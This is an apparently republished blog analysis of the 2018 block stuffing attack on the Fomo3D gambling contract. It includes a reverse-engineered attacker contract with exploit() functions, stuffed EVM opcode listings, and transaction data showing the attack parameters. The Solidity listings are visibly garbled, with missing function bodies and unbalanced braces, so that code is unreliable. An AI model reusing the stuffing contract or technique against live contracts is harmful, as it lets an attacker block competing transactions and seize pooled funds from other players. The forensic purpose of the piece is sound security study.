September 4, 2026

Smart Contract Stuffing: Fomo3D – Zhongqiang Chen

Smart Contract Stuffing: Fomo3D – Zhongqiang Chen

In block stuffing attacks against blockchains, an attacker submits a series of transactions that deliberately fill up the block’s gas limit so that other transactions can not be included in the blockchain. To ensure their transactions being processed by miners, the attacker can choose to pay higher transaction fees. By controlling the amount of gas consumed by their transactions, the attacker can influence the number of transactions that get to be mined and included in the block.

To keep the blockchain stable and have a consistent block generation rate, the Ethereum has an upper limit, which currently is 8,000,000, on the gas consumption for every block. To maximize their profit, block miners tend to select and include transactions with highest fees among all the submitted transactions. A block stuffer’s main goal is to craft a set of transactions that has the highest probability of being chosen by miners and after their execution, the transactions will deplete blocks’ gas limits.

A block stuffing attack can be used on any contract that requires an action within a certain time period. A block stuffer, however, only launches such an attack only it is profitable as the cost of the attack is directly proportional to the number of blocks which need to be stuffed. In this regard, Fomo3D, a gambling application, is such a profitable target.

The gambling app Fomo3D was designed to let players buy keys from a contract and their money goes into a pot. The game is played in rounds and at the beginning of each round, a time counter is initiated which starts counting back from 24 hours. Each key purchase extended the time counter by 30 seconds, and the game ended once the time counter hits 0. The game will reward the last player that purchased a “key”. The winner (i.e., the last player) gets the majority of the pot and the rest is distributed to others. The way the pot is distributed depends on the team that the winner belongs to.

To become the laster key buyer in a round, the attacker bought a key and then stuffed 13 blocks in a row until the time counter was triggered and the payout was released. Transactions sent by the attacker took about 8 million gas on each block, giving little chances for other transactions to be included.

The information on the deployed Fomo3D contract is as follows.

fomo3D contract address:
0xA62142888ABa8370742bE823c1782D17A0389Da1
for more information on fomo3D, please refer to
https://etherscan.io/address/0x765951ab946f3a6f0379680a6b05fb807d52ba09

One of the functions provided by the Fomo3D contract is getCurrentRoundInfo(), which is also the function invoked by the smart contract deployed by attackers to attack Fomo3D. The code snippet of the function is copied here.

contract FoMo3Dlong is modularLong 
}

A lot of information about the current round of play is returned, among which are round ID (return position 1) and the player in the leads (return postion 7).

The smart contract deployed by attackers for stuffing is at:

address of smart contract for stuffing:
0x18e1B664C6a2E88b93C1b71F61Cbf76a726B7801
smart contract creator:
0xa169DF5ED3363cfC4c92ac96C6C5f2A42fCCBF85

Because the smart contract for stuffing is known and used only by its creator, no source code or application binary interface (ABI) is available to the public. The binary code of the malicious smart contract is the only code in the public.

By recovery the source code of the malicious smart contract with the help of reverse engineering, we can better understand the thoughts and strategies of the attackers. The source code (in Solidity) of the smart contract for stuffing deployed at the above mentioned address is equivalent to the following.

pragma solidity ^0.5.0;contract contract_18e1         require(size != 0);        // "70a08231": "balanceOf(address)"
(bool success, bytes memory data) = _addr.staticcall(
abi.encodeWithSelector(0x70a08231, address(this)));
if (!success) uint256 bal = abi.decode(data, (uint256)); // "a9059cbb": "transfer(address,uint256)"
(success, data) = _addr.call(
abi.encodeWithSelector(0xa9059cbb, owner1, bal));
if (!success) bool result = abi.decode(data, (bool)); require(result == true);
}

// 0x15f3aff0
// 0x0090
function exploitSuperCard(uint256 _duration) public view
require(size != 0);
*/
// function getCurrentRoundInfo() digest: 0x747dff42
(bool success, bytes memory data) = supercard.staticcall(
abi.encodeWithSelector(0x747dff42));
if(!success) require(data.length >= 0x01c0); (part1, player, part2) = abi.decode(data,
(uint256[7], address, uint256[6]));
if (player != owner1)
}
}
}

// 0x4d539562
// 0x00b9
function withdraw() public
}

// 0xb1e29c40
// 0x00d0
/*
sample input:
b1e29c40
000000000000000000000000a62142888aba8370742be823c1782d17a0389da1
0000000000000000000000000000000000000000000000000000000000000001
00000000000000000000000000000000000000000000000000000000000000b4
0xb4 = 180 (in seconds?)
*/
function exploit(address _addr, uint256 _roundId,
uint256 _duration)
public
require(size != 0); // function getCurrentRoundInfo() digest: 0x747dff42
(bool success, bytes memory data) = _addr.staticcall(
abi.encodeWithSelector(0x747dff42));
if(!success) // return data size: 14 * 32 = 448 = 0x01c0
require(data.length >= 0x01c0);
(part1, player, part2) = abi.decode(data,
(uint256[7], address, uint256[6]));
emit CurrentRoundInfo(part1[0x03] - block.timestamp,
part1[0x03] - block.timestamp - _duration,
player);
if ((player == owner1) ||
(player == owner2))
}
}
}
}

In its high level programming language form, the smart contract looks quite normal in its functionality. It provides a function to transfer funds from a given address to the owner, a function to withdraw balance from the smart contract to the owner, and functions to interact with Fomo3D or SuperCard.

It can be noticed that two addresses are hard coded as owners in the contract and one of them is in fact the creator of the contract. Also, function exploitSuperCard() is designed to specifically work with supercard contract and the address of the supercard contract is hard coded in the function. In comparison, function exploit() is more general as the address of the contract to interact with as well as round ID are provided as parameters to the function.

These functions look quite innocent, if, however, we convert the binary code of the deployed smart contract to sequence of opcodes, we can find that the behavior of the smart contract is extremely different from normal ones.

Let’s take a look at the malicious code in its opcode form.

It is said that the programming paradigm used by the Ethereum virtual machine (EVM) is jump oriented programming (JOP). If we look at the opcodes of any smart contract, we will find a lot of jump operations. function calls and conditional executions are all implemented by using jump commands.

Therefore, the most natural way to add more operations into a sequence of opcodes for a smart contract without changing its basic functionality is to insert a large amount of jump operations. Along with jump commands, a lot of push and dup operations are also needed. In this way, the gas consumption will increase significantly without doing any extra useful work.

Insertion of a huge amount of jump operations is the main methods used by attackers to block Fomo3D.

Let’s look at a simple example.

The function exploit() in the above smart contract takes three arguments and the first argument has type “address”. In order to read this address argument into the contract, the following opcode sequence will be generated by a normal compiler.

000000B3 61 PUSH2 0x0108
000000B6 60 PUSH1 0x04
000000B8 80 DUP1
000000B9 36 CALLDATASIZE ; get input data size
000000BA 03 SUB
000000BB 60 PUSH1 0x60
000000BD 81 DUP2
000000BE 10 LT
000000BF 15 ISZERO ; check if three arguments (i.e., 0x60)
000000C0 61 PUSH2 0x00c8
000000C3 57 JUMPI
000000C4 60 PUSH1 0x00
000000C6 80 DUP1
000000C7 FD REVERT
000000C8 5B JUMPDEST
000000C9 81 DUP2
000000CA 01 ADD
000000CB 90 SWAP1
000000CC 80 DUP1
000000CD 80 DUP1
000000CE 35 CALLDATALOAD ; load first argument
000000CF 73 PUSH20 0xffffffffffffffffffffffffffffffffffffffff
000000E4 16 AND ; shape first argument in address type
000000E5 90 SWAP1
000000E6 60 PUSH1 0x20
000000E8 01 ADD
000000E9 90 SWAP1
000000EA 92 SWAP3
000000EB 91 SWAP2
000000EC 90 SWAP1 ; put first argument in stack

It first checks whether or not the function call indeed provides three arguments. It then reads in the first argument and shapes it as an “address” (i.e., 20 byte sequence), and finally puts it in appropriate location in the stack.

It can be observed that the opcode sequence contains no unconditional jump operations during the first argument process.

In contrast, the opcodes obtained from the binary code deployed by the attackers for the same argument parsing look like the following.

000000DE        61      PUSH2 0x00f7
000000E1 60 PUSH1 0x04
000000E3 80 DUP1
000000E4 36 CALLDATASIZE ; get input data size
000000E5 03 SUB
000000E6 61 PUSH2 0x00f2
000000E9 91 SWAP2
000000EA 90 SWAP1
000000EB 81 DUP2
000000EC 01 ADD
000000ED 90 SWAP1
000000EE 61 PUSH2 0x07ef
000000F1 56 JUMP
00000676 5B JUMPDEST
00000677 60 PUSH1 0x00
00000679 61 PUSH2 0x0682
0000067C 82 DUP3
0000067D 35 CALLDATALOAD ; load first argument
0000067E 61 PUSH2 0x0a4d
00000681 56 JUMP
000007EF 5B JUMPDEST
000007F0 60 PUSH1 0x00
000007F2 80 DUP1
000007F3 60 PUSH1 0x00
000007F5 60 PUSH1 0x60
000007F7 84 DUP5
000007F8 86 DUP7
000007F9 03 SUB
000007FA 12 SLT
000007FB 15 ISZERO ; check if three arguments
000007FC 61 PUSH2 0x0804
000007FF 57 JUMPI
00000800 60 PUSH1 0x00
00000802 80 DUP1
00000803 FD REVERT
00000804 5B JUMPDEST
00000805 60 PUSH1 0x00
00000807 61 PUSH2 0x0812
0000080A 86 DUP7
0000080B 82 DUP3
0000080C 87 DUP8
0000080D 01 ADD
0000080E 61 PUSH2 0x0676
00000811 56 JUMP
00000A4D 5B JUMPDEST
00000A4E 60 PUSH1 0x00
00000A50 73 PUSH20 0xffffffffffffffffffffffffffffffffffffffff
00000A65 82 DUP3
00000A66 16 AND ; shape first argument in address
00000A67 90 SWAP1
00000A68 50 POP
00000A69 91 SWAP2
00000A6A 90 SWAP1
00000A6B 50 POP ; put first argument in stack
00000A6C 56 JUMP

Clearly, many artificially added and unnecessary jump operations are everywhere in the malicious code, and a single meaningful computation can only be completed after many back and forth jumps.

Also, it is evident that such a malicious binary code can not be generated directly by the official compiler because within the same piece of the malicious binary code, function withdraw() looks quite normal and its opcode sequence is not stuffed, while the other functions including transferTokens(), exploitSuperCard(), and exploit() are all stuffed in various magnitudes.

On August 22, 2018, the attacker address 0xa16…f85 won the first round of the gambling game by using the block stuffing techniques. The winner managed to be the last buyer in block 6191896 and then stalled transactions submitted to Fomo3D until block 6191909 for about 180 seconds (0xb4), ending the current round of the game.

To see the effect of the block stuffing, let’s take block 6191906, one of the blocks in the range of [6191897, 6191909] as an example. Here is the information on all transactions included in block 6191906.

Txn Hash        Block   Age     From            To      Value   [Txn Fee]0x897fc02810f6bbae8d8bc1a32e1e16f442a4c69fa6f77031e86fe546d6e002b3     6191906 366 days 21 hrs ago     0xf6e89c15731d611a33ddcbf3274cfaaae26e1059               0x18e1b664c6a2e88b93c1b71f61cbf76a726b7801     0 Ether 0.100200040x96f3038119dcc786820008751380184988e067a3f01c6fbefa177565cc0881b0     6191906 366 days 21 hrs ago     0x87c7babe2a9bf81c622a346ffbe57671545854ef               0x18e1b664c6a2e88b93c1b71f61cbf76a726b7801     0 Ether 1.803612990xb97d8e39db0fab5bc75c72e2fbbf3f1e2651b1e4c3fde5e2db02ee02db3fb8e4     6191906 366 days 21 hrs ago     0xf033ad4b1d63687efc24620be89afd07b21b01f2               0x18e1b664c6a2e88b93c1b71f61cbf76a726b7801     0 Ether 2.10421768

It can be seen that the block only consists of three transactions and all of them have their destinations pointing to the smart contracts for stuffing, meaning that the attackers successfully block other transactions from being included in the blockchain.

The details of the third transaction in this block is as follows.

Transaction Hash: 0xb97d8e39db0fab5bc75c72e2fbbf3f1e2651b1e4c3fde5e2db02ee02db3fb8e4
Status: Fail
Block: 6191906 2218903 Block Confirmations
Timestamp: 366 days 21 hrs ago (Aug-22-2018 06:50:45 AM +UTC)
From: 0xf033ad4b1d63687efc24620be89afd07b21b01f2
To: Contract 0x18e1b664c6a2e88b93c1b71f61cbf76a726b7801
Warning! Error encountered during contract execution [Bad instruction]Value: 0 Ether ($0.00)
Transaction Fee: 2.104217682 Ether ($404.60)
Gas Limit: 4,200,000
Gas Used by Transaction: 4,200,000 (100%)
Gas Price: 0.00000050100421 Ether (501.00421 Gwei)
Nonce Position 1008 0
Input Data:
b1e29c40
000000000000000000000000a62142888aba8370742be823c1782d17a0389da1
0000000000000000000000000000000000000000000000000000000000000001
00000000000000000000000000000000000000000000000000000000000000b4

It can be seen that the transaction invokes function with selector 0xb1e29c40 in the malicious smart contract (i.e., function exploit() in the smart contract given above). In order to increase the probability of being mined by miners, the attacker offers a huge amount of gas limit (4,200,000) and all of the gas limit are used up, indicating the effectiveness of the enormous jumps inserted into the function in the smart contract.

From this transaction, we can also know that the block stuffing target is the address given in the first parameter to the function, in this case, the target is exactly the Fomo3D contract. In addition, the block stuffing duration is around 0xb4, which is given in the third parameter to the function with selector 0xb1e29c40, and the block stuffing is aiming at round 1 (i.e., the second parameter) of the game.

Published at Mon, 26 Aug 2019 03:56:28 +0000

{flickr|100|campaign}

Previous Article

BITKER Is Going to List Chainlink (LINK) – Bitker

Next Article

DIGITAL GOLD; A DIGITALISED APPROACH TO GOLD POSSESSION